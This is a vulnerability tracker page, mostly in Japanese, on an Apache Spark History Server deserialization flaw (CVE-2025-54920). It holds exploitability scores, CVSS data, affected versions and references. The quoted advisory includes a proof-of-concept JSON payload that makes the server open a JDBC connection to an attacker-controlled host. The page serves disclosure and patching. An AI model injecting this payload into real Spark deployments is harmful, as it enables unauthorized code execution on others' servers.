GHSA-jwp6-cvj8-fw65 · 深刻度: high · エコシステム: maven — Apache Spark: Spark History Server Code Execution Vulnerability
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
総合評価: CVE-2025-54920 は悪用リスクが高い(87.1/100)。CVSS 深刻度は高。悪用される可能性が高い(EPSS 5.34%、92 パーセンタイル) 根拠: 公開エクスプロイトが 2 件参照されています(Exploit-DB)。 直近 1 日で EPSS が +4.85% 上昇。悪用への関心が高まっている可能性があります。 推奨対応: 公開エクスプロイトが確認されています。影響範囲の確認、緩和策の適用、パッチ適用を優先してください。
リスクは変動します。再評価に基づき、本ページの表示内容を更新しています。
| EDB-ID | ソース | 種別 | 公開 | リンク |
|---|---|---|---|---|
| — | nvd_ref | exploit_tag | Exploit-DB ↗ | |
| — | nvd_ref | exploit_tag | Exploit-DB ↗ |
EPSS は日次で悪用されやすさの相対度合いを推定します。パーセンタイルは採点済み CVE の中での相対位置(高いほど相対的に深刻)を示します。
| # | 日付 | 旧 EPSS スコア | 新 EPSS スコア | Δ(新 − 旧) |
|---|---|---|---|---|
| 1 | 2026-06-15 | 0.49% | 5.34% | +4.85% |
| 2 | 2026-05-21 | 0.56% | 0.49% | -0.08% |
| 3 | 2026-05-13 | — | 0.56% | — |
EPSS の全履歴 (全 7 件)
この CVE の CVSS 指標。
| ベーススコア | バージョン | 深刻度 | ベクトル | 悪用しやすさ | 影響 | スコアの出典 |
|---|---|---|---|---|---|---|
| 8.8 | 3.1 | HIGH |
|
2.8 | 5.9 | 134c704f-9b21-4f2e-91b3-4a467353bcc0 |
GHSA-jwp6-cvj8-fw65 · 深刻度: high · エコシステム: maven — Apache Spark: Spark History Server Code Execution Vulnerability
| vendor | priority | summary | link |
|---|---|---|---|
redhat
|
medium | — | https://access.redhat.com/security/cve/CVE-2025-54920 |
| ベンダー | 製品 | バージョン | 生の CPE |
|---|---|---|---|
| apache | spark | < 3.5.7 | cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:* |
| apache | spark | 4.0.0 | cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:* |
| apache | spark | 4.0.0 | cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:* |
| apache | spark | 4.0.0 | cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:* |
| apache | spark | 4.0.0 | cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:* |
| apache | spark | 4.0.0 | cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:* |
| apache | spark | 4.0.0 | cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:* |
| apache | spark | 4.0.0 | cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:* |
| apache | spark | 4.0.0 | cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:* |
| apache | spark | 4.0.1 | cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:* |
| URL | タグ |
|---|---|
| https://github.com/apache/spark/pull/51312 | Issue Tracking |
| https://github.com/apache/spark/pull/51323 | Issue Tracking |
| https://issues.apache.org/jira/browse/SPARK-52381 | Issue Tracking |
| https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s | Exploit Mitigation Vendor Advisory |
| http://www.openwall.com/lists/oss-security/2026/03/13/4 | Exploit Mailing List Third Party Advisory |